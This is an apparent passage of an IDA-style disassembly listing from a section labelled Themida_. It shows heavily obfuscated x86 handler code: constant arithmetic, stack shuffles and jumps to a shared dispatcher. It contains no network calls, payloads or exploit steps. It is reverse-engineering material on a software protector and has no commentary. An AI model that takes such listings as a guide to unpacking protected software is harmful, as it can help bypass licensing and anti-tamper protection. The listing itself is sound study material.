jmp loc_54E2F7
; ---------------------------------------------------------------------------
xchg dl, [esp]
push dx
push bx
jmp loc_546484
; ---------------------------------------------------------------------------
loc_54442D: ; CODE XREF: Themida_:0054F8A2j
pop ecx
sub ch, 10h
jmp loc_54C384
; ---------------------------------------------------------------------------
loc_544436: ; CODE XREF: Themida_:005499C1j
add ebx, esi
jmp loc_545E85
; ---------------------------------------------------------------------------
loc_54443D: ; CODE XREF: Themida_:00544215j
mov esp, [esp]
or [esp], al
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544449: ; CODE XREF: Themida_:0054762Ej
dec ebx
not ebx
loc_54444C: ; DATA XREF: ___:off_43CCF4o
jmp loc_544E86
; ---------------------------------------------------------------------------
loc_544451: ; CODE XREF: Themida_:0054801Dj
mov edx, ecx
pop ecx
push ebp
jmp loc_545130
; ---------------------------------------------------------------------------
loc_54445A: ; CODE XREF: Themida_:0054AE0Fj
pop ecx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544460: ; CODE XREF: Themida_:00546B01j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], eax
pop dword ptr [edi+40h]
push dword ptr [esp]
pop eax
push edx
mov edx, esp
push 4D21h
mov [esp], ebx
mov ebx, 4
sub esp, 4
jmp loc_54FC3A
; ---------------------------------------------------------------------------
loc_54448C: ; CODE XREF: Themida_:00547CECj
pop cx
push 2E22h
mov [esp], ebx
mov bl, 4Dh
add dl, 0A2h
sub dl, bl
jmp loc_548342
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_54D6B6
; ---------------------------------------------------------------------------
loc_5444B4: ; CODE XREF: Themida_:0054ABFDj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5444C9: ; CODE XREF: Themida_:00545952j
push edx
mov dh, 0A9h
shl dh, 7
add dh, 48h
sub dh, 0FFh
jmp loc_546C91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_5444DA: ; CODE XREF: sub_545BCC+9B69j
mov ebx, [esp+0]
jmp loc_548A2A
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_5444E2: ; CODE XREF: Themida_:0054EDBEj
xor eax, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5444F2: ; CODE XREF: Themida_:005466CCj
xchg ebx, ebp
not ebx
xchg ebx, ebp
sub ebp, 0D054CB12h
add eax, ebp
pop ebp
push 5D44h
mov [esp], eax
xor dword ptr [esp], 779076DAh
pop esi
jmp loc_54F161
; ---------------------------------------------------------------------------
loc_544516: ; CODE XREF: Themida_:0054EA03j
add ebx, 68717F8Bh
add ebx, esi
sub esp, 4
mov [esp], esi
mov esi, 4AB5923h
or esi, 1DFB06E1h
sub esi, 0B589E058h
sub ebx, esi
pop esi
mov esi, [esp]
add esp, 4
jmp loc_54FD92
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544552: ; CODE XREF: Themida_:005440E6j
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push ecx
mov ecx, 5A900364h
dec ecx
sub ecx, 35A719AFh
shr ecx, 2
inc ecx
push eax
mov eax, 6E3D01D7h
sub eax, 28B043E4h
add eax, 0E1A29D8Ch
jmp loc_54E09F
; ---------------------------------------------------------------------------
loc_54458E: ; CODE XREF: Themida_:0054A8F7j
mov edi, 156E4687h
add edi, ebx
pop ebx
sub edi, 7CBE5B50h
sub eax, 675849A0h
add eax, edi
add eax, 675849A0h
pop edi
jmp loc_549480
; ---------------------------------------------------------------------------
loc_5445AE: ; CODE XREF: Themida_:0054D4ADj
sub eax, ebx
pop ebx
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], edx
push 11D46F38h
pop edx
shr edx, 5
neg edx
jmp loc_54C97C
; ---------------------------------------------------------------------------
loc_5445D0: ; CODE XREF: Themida_:00548564j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5445D5: ; CODE XREF: Themida_:0054EDF4j
push 6965h
mov [esp], edx
mov edx, esp
push ebx
mov ebx, 4
jmp loc_545DDA
; ---------------------------------------------------------------------------
loc_5445EA: ; CODE XREF: Themida_:0054DDB0j
add esi, eax
pop eax
jmp loc_54FB59
; ---------------------------------------------------------------------------
loc_5445F2: ; CODE XREF: Themida_:0054A42Bj
add ebp, 57CE1283h
jmp loc_54FDE8
; ---------------------------------------------------------------------------
loc_5445FD: ; CODE XREF: Themida_:00546CC3j
sub edx, 4A7D3E53h
jmp loc_54A831
; ---------------------------------------------------------------------------
loc_544608: ; CODE XREF: Themida_:0054BC7Cj
mov eax, [esp]
add esp, 4
xor edi, ebx
pop ebx
inc edi
sub edi, 5F2C3A3Dh
jmp loc_54EDB5
; ---------------------------------------------------------------------------
loc_54461D: ; CODE XREF: Themida_:00545658j
and ecx, ebx
mov ebx, [esp]
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_54468E
; ---------------------------------------------------------------------------
loc_544630: ; CODE XREF: Themida_:0054C325j
add eax, 590C6979h
push edx
mov edx, 73326608h
add eax, 27C66026h
jmp loc_54C7D2
; ---------------------------------------------------------------------------
loc_544645: ; CODE XREF: Themida_:005473BDj
push 0F8Eh
mov [esp], edx
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_548BAF
; ---------------------------------------------------------------------------
loc_54466A: ; CODE XREF: Themida_:005476A4j
pop edi
add eax, 4108842Dh
mov ebx, eax
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
push ecx
jmp loc_54FC63
; ---------------------------------------------------------------------------
loc_54467F: ; CODE XREF: Themida_:00549E4Bj
pop edi
and ecx, edi
mov edi, [esp]
add esp, 4
push edi
jmp loc_54FB0D
; ---------------------------------------------------------------------------
loc_54468E: ; CODE XREF: Themida_:0054462Bj
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
push eax
jmp loc_545A35
; ---------------------------------------------------------------------------
loc_5446A0: ; CODE XREF: Themida_:0054AB05j
mov edi, [esp]
add esp, 4
pop esi
pop esi
shr edi, 3
push edx
push 16CF2D7Fh
pop edx
or edx, 6760575Dh
jmp loc_54732F
; ---------------------------------------------------------------------------
loc_5446C0: ; CODE XREF: Themida_:0054DB3Fj
pop eax
push eax
mov eax, 4
add edi, eax
jmp loc_54855A
; ---------------------------------------------------------------------------
loc_5446CE: ; CODE XREF: Themida_:0054B9E6j
mov [esp], eax
mov eax, esp
push edi
push 66AC3026h
pop edi
jmp loc_54417A
; ---------------------------------------------------------------------------
loc_5446DF: ; CODE XREF: Themida_:0054E602j
mov ecx, ebx
pop ebx
add [esp+8], ecx
pop ecx
sub [esp+4], ecx
push ecx
mov ecx, 55996AB6h
sub [esp+8], ecx
jmp loc_54FC8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_5446FA: ; CODE XREF: sub_545BCC+7E18j
add al, bl
pop bx
add al, 0AEh
add al, 0CDh
sub al, ch
push ebx
mov bh, 43h
not bh
shr bh, 8
shr bh, 7
inc bh
jmp loc_5492F4
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_544716: ; CODE XREF: Themida_:0054FF16j
sub ecx, 20B42E57h
add ecx, ebx
add ecx, 20B42E57h
pop ebx
dec ecx
xor ecx, 7261DCDh
neg ecx
inc ecx
sub ecx, 0D282CD79h
mov esi, ecx
jmp loc_54F3E4
; ---------------------------------------------------------------------------
loc_54473C: ; CODE XREF: Themida_:0054862Bj
mov [esp], esi
sub esp, 4
push 74A6h
push esp
jmp loc_54DB53
; ---------------------------------------------------------------------------
loc_54474D: ; CODE XREF: Themida_:0054E4EFj
pop ebx
shr edx, 2
jmp loc_548296
; ---------------------------------------------------------------------------
loc_544756: ; CODE XREF: Themida_:0054EDE3j
push dword ptr [esp]
pop edi
add esp, 4
xor eax, ebp
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
add esp, 4
push 1D9h
mov [esp], esi
mov esi, 587B8E7h
xor eax, esi
mov esi, [esp]
jmp loc_549C16
; ---------------------------------------------------------------------------
loc_54478E: ; CODE XREF: Themida_:005479E6j
sub eax, 4
xchg eax, [esp]
jmp loc_54F690
; ---------------------------------------------------------------------------
loc_54479B: ; CODE XREF: Themida_:0054C74Aj
mov [esp], edi
push dword ptr [esp+4]
jmp loc_54C4E3
; ---------------------------------------------------------------------------
loc_5447A7: ; CODE XREF: Themida_:00549573j
sub al, dl
add al, 9Fh
jmp loc_54872C
; ---------------------------------------------------------------------------
loc_5447B0: ; CODE XREF: Themida_:0054A207j
pop edi
add edx, ebx
pop ebx
push esi
push edx
mov edx, 4
mov esi, edx
mov edx, [esp]
add esp, 4
sub edx, 2BDC033Eh
add edx, esi
add edx, 2BDC033Eh
mov esi, [esp]
add esp, 4
xchg edx, [esp]
pop esp
push eax
jmp loc_548A47
; ---------------------------------------------------------------------------
loc_5447E1: ; CODE XREF: Themida_:0054E09Aj
mov edi, 702E0D46h
mov ebx, edi
pop edi
push ebp
mov ebp, 42DF214Bh
add ebp, 35084DF7h
add ebx, ebp
pop ebp
and ebx, 55EC57CCh
sub ebx, 40045486h
add ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_548ED6
; ---------------------------------------------------------------------------
loc_544811: ; CODE XREF: Themida_:0054B302j
mov esi, 3A992560h
xor esi, 1C8634BAh
xor esi, 1F7272BEh
add edi, esi
pop esi
mov ebx, [esp]
add esp, 4
xor edi, [esp]
jmp loc_54ED75
; ---------------------------------------------------------------------------
loc_544833: ; CODE XREF: Themida_:0054F3DFj
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544838: ; CODE XREF: Themida_:005457A0j
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_54E8BF
; ---------------------------------------------------------------------------
loc_544844: ; CODE XREF: Themida_:0054718Ej
shl eax, 3
shr eax, 2
jmp loc_54CCB6
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 10F4h
mov [esp], esi
sub esp, 4
mov [esp], eax
jmp loc_54E5A2
; ---------------------------------------------------------------------------
loc_544868: ; CODE XREF: Themida_:0054CAA8j
push small word ptr [esp+2]
mov bp, [esp]
add esp, 2
pop small word ptr [esp]
not bp
sub esp, 2
jmp loc_54E80A
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
pop edx
jmp loc_54BD4D
; ---------------------------------------------------------------------------
loc_54488F: ; CODE XREF: Themida_:0054854Aj
add esp, 4
push 5D6Fh
mov [esp], ecx
jmp loc_548420
; ---------------------------------------------------------------------------
loc_54489F: ; CODE XREF: Themida_:00549158j
push ebx
jmp loc_54B307
; ---------------------------------------------------------------------------
loc_5448A5: ; CODE XREF: Themida_:0054D29Ej
mov eax, 371069F8h
sub eax, 0CD703450h
jmp loc_54EAC2
; ---------------------------------------------------------------------------
loc_5448B4: ; CODE XREF: Themida_:0054EAEBj
pop ebp
xchg esi, [esp]
pop esp
jmp loc_5481DE
; ---------------------------------------------------------------------------
loc_5448BE: ; CODE XREF: Themida_:00548413j
push 47B8h
mov [esp], edx
jmp loc_54EF79
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5448DB: ; CODE XREF: Themida_:0054D037j
push cx
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5448E3: ; CODE XREF: Themida_:0054E94Cj
add edx, 917B23Ah
add esi, 59965C87h
add esi, edx
sub esi, 59965C87h
pop edx
jmp loc_54B636
; ---------------------------------------------------------------------------
loc_5448FD: ; CODE XREF: Themida_:0054BF8Fj
pop ebp
jmp loc_54AD41
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_548754
; ---------------------------------------------------------------------------
loc_54490B: ; CODE XREF: Themida_:0054921Fj
sub edi, edx
pop edx
add ebx, 4A60221Ah
jmp loc_54804C
; ---------------------------------------------------------------------------
loc_544919: ; CODE XREF: Themida_:00547764j
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_5440AC
; ---------------------------------------------------------------------------
loc_54492C: ; CODE XREF: Themida_:0054D937j
sub edi, 18CC3C39h
push esi
mov esi, 200D57E4h
push eax
mov eax, 6BAA1BC4h
xor esi, eax
jmp loc_54FF2A
; ---------------------------------------------------------------------------
loc_544945: ; CODE XREF: Themida_:0054AF6Aj
mov ebx, [esp]
add esp, 4
jmp loc_544C2F
; ---------------------------------------------------------------------------
loc_544953: ; CODE XREF: Themida_:0054DE6Cj
mov ecx, eax
pop eax
add ebx, ecx
mov ecx, [esp]
add esp, 4
push ebp
jmp loc_5491E5
; ---------------------------------------------------------------------------
loc_544964: ; CODE XREF: Themida_:0054A5B2j
add eax, ecx
pop ecx
push 6192h
mov [esp], edi
mov edi, 1748C3DDh
sub esp, 4
mov [esp], ebp
mov ebp, 41EA03A6h
jmp loc_54648B
; ---------------------------------------------------------------------------
loc_544987: ; CODE XREF: Themida_:0054F2DBj
push esp
jmp loc_54F5E4
; ---------------------------------------------------------------------------
loc_54498D: ; CODE XREF: Themida_:0054708Aj
pop esi
sub edx, edi
jmp loc_5476BF
; ---------------------------------------------------------------------------
loc_544995: ; CODE XREF: Themida_:005484CFj
add dword ptr [esp], 62A06B5h
pop ecx
sub ecx, 62A06B5h
jmp loc_54E4BB
; ---------------------------------------------------------------------------
loc_5449A8: ; CODE XREF: Themida_:0054ABF1j
push ebx
mov ebx, 4BA43D32h
sub ebx, 0EF91CFE8h
add edi, ebx
pop ebx
push ebp
jmp loc_54EA27
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push eax
push esp
pop eax
push ebp
mov ebp, 4
add eax, ebp
pop ebp
jmp loc_54BC81
; ---------------------------------------------------------------------------
loc_5449D8: ; CODE XREF: Themida_:0054CAE6j
mov [esp], ebp
jmp loc_54D74E
; ---------------------------------------------------------------------------
loc_5449E0: ; CODE XREF: Themida_:0054C92Fj
dec edx
add edx, 20077420h
shl edx, 8
xor edx, 0A21E1062h
sub esi, edx
mov edx, [esp]
jmp loc_5488D3
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
sub esp, 4
mov [esp], esi
mov esi, 4
push ecx
mov ecx, 6C421703h
add ebp, ecx
jmp loc_544D03
; ---------------------------------------------------------------------------
loc_544A1C: ; CODE XREF: Themida_:0054852Aj
sub edx, esi
pop esi
sub edx, 0C4651D0h
jmp loc_54875C
; ---------------------------------------------------------------------------
loc_544A2A: ; CODE XREF: Themida_:0054A943j
pop ecx
shr eax, 8
xor eax, ecx
push eax
mov eax, esp
add eax, 4
jmp loc_54B8B7
; ---------------------------------------------------------------------------
loc_544A3D: ; CODE XREF: Themida_:005490CBj
pop ecx
sub bl, 21h
sub bl, 9Ch
sub bl, dl
add bl, 9Ch
push ecx
mov ch, 91h
neg ch
add ch, 6Dh
dec ch
sub ch, 0BAh
jmp loc_54ADE7
; ---------------------------------------------------------------------------
loc_544A5B: ; CODE XREF: Themida_:0054F26Dj
add esp, 4
jmp loc_5490F3
; ---------------------------------------------------------------------------
loc_544A63: ; CODE XREF: Themida_:0054D787j
add bl, 0EDh
sub bl, 0C9h
sub bl, al
push edx
mov dh, 0F3h
jmp loc_54F591
; ---------------------------------------------------------------------------
loc_544A73: ; CODE XREF: Themida_:00549DE5j
or ebx, ebp
jmp loc_5490D0
; ---------------------------------------------------------------------------
loc_544A7A: ; CODE XREF: Themida_:005485ACj
mov ecx, 0EC6AF291h
add ebx, ecx
pop ecx
sub eax, ebx
pop ebx
push 2C68h
mov [esp], esi
mov esi, 1482832Fh
push edi
mov edi, 1B980434h
sub eax, edi
jmp loc_54B121
; ---------------------------------------------------------------------------
loc_544A9F: ; CODE XREF: Themida_:0054677Dj
sub ebx, 12EC4473h
sub edx, ebx
pop ebx
shr edx, 7
xor edx, 96987Bh
add esi, 18450027h
add esi, edx
sub esi, 18450027h
pop edx
jmp loc_545DC9
; ---------------------------------------------------------------------------
loc_544AC5: ; CODE XREF: Themida_:0054F63Ej
push ebx
jmp loc_54674E
; ---------------------------------------------------------------------------
loc_544ACB: ; CODE XREF: Themida_:00548F32j
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_54F123
; ---------------------------------------------------------------------------
loc_544ADA: ; CODE XREF: Themida_:0054DA4Cj
xor esi, 0E051D71Ch
mov ebp, esi
pop esi
jmp loc_54F16C
; ---------------------------------------------------------------------------
loc_544AE8: ; CODE XREF: Themida_:0054C5F4j
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_54B5C9
; ---------------------------------------------------------------------------
loc_544AF8: ; CODE XREF: Themida_:0054815Ej
not ebp
push edx
mov edx, 2736C6Fh
inc edx
xor edx, 32206A00h
or edx, 3BEC4433h
shl edx, 2
jmp loc_54F3FC
; ---------------------------------------------------------------------------
loc_544B15: ; CODE XREF: Themida_:00550066j
or ebx, 1EFD2DEAh
and ebx, 7EAE78A5h
sub ebx, 6079F367h
xchg edx, ebx
jmp loc_54D0BC
; ---------------------------------------------------------------------------
loc_544B2E: ; CODE XREF: Themida_:005483B9j
pop ebx
add eax, ebp
pop ebp
push ebx
jmp loc_54EE71
; ---------------------------------------------------------------------------
loc_544B38: ; CODE XREF: Themida_:0054EE93j
mov edi, 56F32FF2h
jmp loc_549AA5
; ---------------------------------------------------------------------------
loc_544B42: ; CODE XREF: Themida_:0054C164j
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_547DB5
; ---------------------------------------------------------------------------
loc_544B51: ; CODE XREF: Themida_:005471EBj
mov esp, [esp]
sub esp, 4
jmp loc_54F272
; ---------------------------------------------------------------------------
loc_544B5F: ; CODE XREF: Themida_:0054BD40j
sub ebx, 0BD73285h
sub ebx, eax
sub esp, 4
jmp loc_547861
; ---------------------------------------------------------------------------
loc_544B72: ; CODE XREF: Themida_:0054FBC6j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544B77: ; CODE XREF: Themida_:0054880Cj
push edi
mov edi, 34FA499Dh
xor edi, 27D54E89h
add edi, 3CFB33AAh
xor ecx, edi
pop edi
jmp loc_54DC7A
; ---------------------------------------------------------------------------
loc_544B91: ; CODE XREF: Themida_:0054D226j
push dword ptr [esp]
pop edx
add esp, 4
push edi
mov edi, esp
push ecx
jmp loc_546DB3
; ---------------------------------------------------------------------------
loc_544BA1: ; CODE XREF: Themida_:00544FA3j
push 0
sub [esp], edi
pop edi
push ebx
mov ebx, 29206C57h
jmp loc_54805C
; ---------------------------------------------------------------------------
loc_544BB5: ; CODE XREF: Themida_:00548BCDj
push edi
jmp loc_547484
; ---------------------------------------------------------------------------
loc_544BBB: ; CODE XREF: Themida_:0054EF3Bj
pop edi
shr eax, 1
push 0DD4h
mov [esp], edi
mov edi, 5D513272h
xor eax, edi
pop edi
xor eax, 4CD298E3h
add ebp, 2BEE0E4Eh
add ebp, eax
sub ebp, 2BEE0E4Eh
pop eax
push esi
mov esi, 2
add ebp, esi
pop esi
jmp loc_54DA6D
; ---------------------------------------------------------------------------
loc_544BF0: ; CODE XREF: Themida_:0054B8B2j
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544C01: ; CODE XREF: Themida_:0054A393j
mov [esp], ebx
jmp loc_547E75
; ---------------------------------------------------------------------------
loc_544C09: ; CODE XREF: Themida_:0054AFD2j
pop dword ptr [esp]
jmp loc_54A458
; ---------------------------------------------------------------------------
loc_544C11: ; CODE XREF: Themida_:005475ABj
xor ecx, ebx
xor ebx, ecx
xor ecx, ebx
xchg edx, ebx
xchg ebp, edx
not ebp
xchg ebp, edx
push ebx
push edx
jmp loc_54E6C3
; ---------------------------------------------------------------------------
loc_544C26: ; CODE XREF: Themida_:0054CC8Cj
pop ecx
popa
popf
retn
; ---------------------------------------------------------------------------
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544C2F: ; CODE XREF: Themida_:0054494Ej
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544C3D: ; CODE XREF: Themida_:0054C3F5j
sub edx, edi
pop edi
add edx, eax
jmp loc_54538D
; ---------------------------------------------------------------------------
loc_544C47: ; CODE XREF: Themida_:0054B019j
xor edi, eax
pop eax
mov edx, edi
pop edi
add esi, edx
jmp loc_545761
; ---------------------------------------------------------------------------
loc_544C54: ; CODE XREF: Themida_:0054BFA9j
mov ebp, 2
add ecx, ebp
pop ebp
xchg ecx, [esp]
pop esp
shl word ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544C6A: ; CODE XREF: Themida_:00549586j
sub ebp, 3106C29h
jmp loc_54FD06
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edx
jmp loc_5473CC
; ---------------------------------------------------------------------------
loc_544C84: ; CODE XREF: Themida_:0054532Cj
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_54EAF7
; ---------------------------------------------------------------------------
loc_544C9B: ; CODE XREF: Themida_:0054727Ej
xor dword ptr [esp], 6DB8191Eh
pop ecx
xor ecx, 6DB8191Eh
mov esi, [esp]
jmp loc_54D23C
; ---------------------------------------------------------------------------
loc_544CB1: ; CODE XREF: Themida_:0054F1A4j
dec eax
neg eax
add eax, 427F177Fh
xor eax, 0FFA7EB03h
jmp loc_548BBA
; ---------------------------------------------------------------------------
loc_544CC3: ; CODE XREF: Themida_:0054C2E7j
xor ebx, edi
pop edi
jmp loc_548B98
; ---------------------------------------------------------------------------
loc_544CCB: ; CODE XREF: Themida_:0054F86Bj
sub [esp], ax
pushf
jmp loc_5490DC
; ---------------------------------------------------------------------------
loc_544CD5: ; CODE XREF: Themida_:0054BA62j
mov edx, esp
add edx, 4
jmp loc_54915D
; ---------------------------------------------------------------------------
loc_544CE2: ; CODE XREF: Themida_:0054ACD1j
pop edx
sub cl, 73h
add cl, bl
add cl, 73h
pop bx
sub bl, 19h
add bl, cl
add bl, 19h
mov ecx, [esp]
add esp, 4
jmp loc_54F40A
; ---------------------------------------------------------------------------
loc_544D03: ; CODE XREF: Themida_:00544A17j
pop ecx
jmp loc_548988
; ---------------------------------------------------------------------------
loc_544D09: ; CODE XREF: Themida_:0054A836j
add esp, 4
push 3AF9h
mov [esp], edi
mov edi, 2F457BC8h
push 2C5Ah
mov [esp], edi
jmp loc_54A7B2
; ---------------------------------------------------------------------------
loc_544D26: ; CODE XREF: Themida_:0054C687j
xchg esi, [esp]
pop esp
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544D42: ; CODE XREF: Themida_:0054F1F4j
mov ecx, 4
add esi, ecx
pop ecx
push esi
push dword ptr [esp+4]
mov esi, [esp]
push ebp
mov ebp, esp
jmp loc_54EA19
; ---------------------------------------------------------------------------
loc_544D5A: ; CODE XREF: Themida_:0054CE69j
add esi, eax
jmp loc_54F7F0
; ---------------------------------------------------------------------------
loc_544D61: ; CODE XREF: Themida_:00548770j
not ecx
or ecx, 0BB130DAh
push 1230h
mov [esp], edi
mov edi, 6B2F03BAh
shl edi, 2
xor edi, 5747321Fh
sub ecx, edi
pop edi
add esi, 63EF4325h
add esi, ecx
sub esi, 63EF4325h
pop ecx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_54D005
; ---------------------------------------------------------------------------
loc_544DA2: ; CODE XREF: Themida_:0054EEDDj
mov [esp], edi
mov edi, 4
add esi, edi
pop edi
push edi
push 2
push dword ptr [esp]
pop edi
jmp loc_54409B
; ---------------------------------------------------------------------------
loc_544DBC: ; CODE XREF: Themida_:0054FB88j
and edx, 221F4385h
push ecx
jmp loc_54754C
; ---------------------------------------------------------------------------
loc_544DC8: ; CODE XREF: Themida_:005483AEj
push eax
jmp loc_54564B
; ---------------------------------------------------------------------------
loc_544DCE: ; CODE XREF: Themida_:0054DE0Fj
add esp, 4
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
push eax
mov eax, 4
add ebp, 34372232h
add ebp, eax
sub ebp, 34372232h
pop eax
add ebp, 4
jmp loc_54D6E5
; ---------------------------------------------------------------------------
loc_544DFE: ; CODE XREF: Themida_:00548DF2j
sub ebx, 0A4C466Dh
push ebp
push edx
push 55D27B6Fh
pop edx
inc edx
jmp loc_5455B9
; ---------------------------------------------------------------------------
loc_544E12: ; CODE XREF: Themida_:0054F3BBj
add esi, 44665AB1h
pop edx
and esi, 0E512FC4h
xor esi, 60626E85h
add eax, esi
pop esi
sub eax, 562D0735h
sub eax, ebx
add eax, 562D0735h
sub eax, 66324705h
push 66ACh
mov [esp], ecx
mov ecx, 23CF72B9h
xor eax, ecx
mov ecx, [esp]
push eax
mov eax, esp
push 5B67h
mov [esp], ebp
mov ebp, 37751775h
shr ebp, 1
add ebp, 70746C3Ah
add ebp, 73D10810h
jmp loc_5487DD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5492C2
; ---------------------------------------------------------------------------
loc_544E77: ; CODE XREF: Themida_:00546BA3j
pop esp
mov [esp], ebp
jmp loc_546852
; ---------------------------------------------------------------------------
loc_544E80: ; CODE XREF: Themida_:005480B8j
push ebx
jmp loc_54827F
; ---------------------------------------------------------------------------
loc_544E86: ; CODE XREF: Themida_:loc_54444Cj
push edx
mov edx, 7BEF2955h
jmp loc_54BD22
; ---------------------------------------------------------------------------
loc_544E91: ; CODE XREF: Themida_:00547B06j
add esp, 4
push dword ptr [esp]
jmp loc_54C0A9
; ---------------------------------------------------------------------------
loc_544E9C: ; CODE XREF: Themida_:00547487j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
jmp loc_54EE56
; ---------------------------------------------------------------------------
loc_544EAC: ; CODE XREF: Themida_:0054EA14j
btc [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544EB7: ; CODE XREF: Themida_:0054BF2Aj
mov esp, [esp]
mov fs:[edx], ax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544EC3: ; CODE XREF: Themida_:0054B56Aj
xor edi, 19586E4Fh
sub edi, 0FACB9E4Bh
add ebp, edi
jmp loc_54E990
; ---------------------------------------------------------------------------
loc_544ED6: ; CODE XREF: Themida_:0054AD5Dj
pop esp
mov [esp], edx
push ebx
mov ebx, 7ED14861h
jmp loc_54E4E0
; ---------------------------------------------------------------------------
loc_544EE5: ; CODE XREF: Themida_:005480D0j
push dword ptr [esp]
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_54FB8D
; ---------------------------------------------------------------------------
loc_544EFF: ; CODE XREF: Themida_:0054D9FCj
push 41D3h
mov [esp], edi
mov edi, esp
push eax
push 4
pop eax
sub edi, 260377C0h
add edi, eax
add edi, 260377C0h
mov eax, [esp]
add esp, 4
jmp loc_545DF1
; ---------------------------------------------------------------------------
loc_544F2C: ; CODE XREF: Themida_:0054FE7Bj
push edi
push 80000h
pop edi
and eax, edi
mov edi, [esp]
push esi
push 6388h
mov [esp], esp
loc_544F41: ; DATA XREF: ___:off_435720o
jmp loc_54DB44
; ---------------------------------------------------------------------------
loc_544F46: ; CODE XREF: Themida_:0054570Fj
mov esi, 283B05DCh
push esi
push eax
push 35D42D7Ch
pop eax
xor eax, 1DEF2884h
mov esi, eax
pop eax
push esi
mov eax, [esp]
add esp, 4
mov esi, [esp]
jmp loc_54E14B
; ---------------------------------------------------------------------------
loc_544F6A: ; CODE XREF: Themida_:00549F2Cj
mov edi, 40B6402Fh
add edi, 0FFFFFFFFh
add edi, 337BEA59h
sub ecx, edi
mov edi, [esp]
add esp, 4
neg ecx
push 0F6Eh
jmp loc_54A59E
; ---------------------------------------------------------------------------
push ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
push edi
mov edi, 36261EE7h
shr edi, 2
jmp loc_544BA1
; ---------------------------------------------------------------------------
dd 5366D800h, 4EC8152h, 89000000h, 4CB02404h, 0B5518A04h
dd 46F9E919h, 5580000h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push ebp
mov ebp, 38E550Bh
mov esi, ebp
mov ebp, [esp]
jmp loc_547C81
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_547E2F
; ---------------------------------------------------------------------------
loc_544FF5: ; CODE XREF: Themida_:0054B2D2j
shl ebx, 4
dec ebx
jmp loc_54D1C8
; ---------------------------------------------------------------------------
loc_544FFE: ; CODE XREF: Themida_:005456FFj
pop esp
rol dword ptr [esp], cl
pushf
jmp loc_5484D4
; ---------------------------------------------------------------------------
loc_545008: ; CODE XREF: Themida_:0054D1E9j
add esp, 4
jmp loc_54F109
; ---------------------------------------------------------------------------
loc_545010: ; CODE XREF: Themida_:005490EEj
sub esp, 4
mov [esp], edi
push 2FF71948h
pop edi
add ebx, 7986BD5h
add ebx, edi
jmp loc_547878
; ---------------------------------------------------------------------------
loc_545029: ; CODE XREF: Themida_:005453EAj
xor ebx, 49F95897h
push edi
mov edi, ebx
mov ebp, edi
pop edi
pop ebx
shl ebp, 6
dec ebp
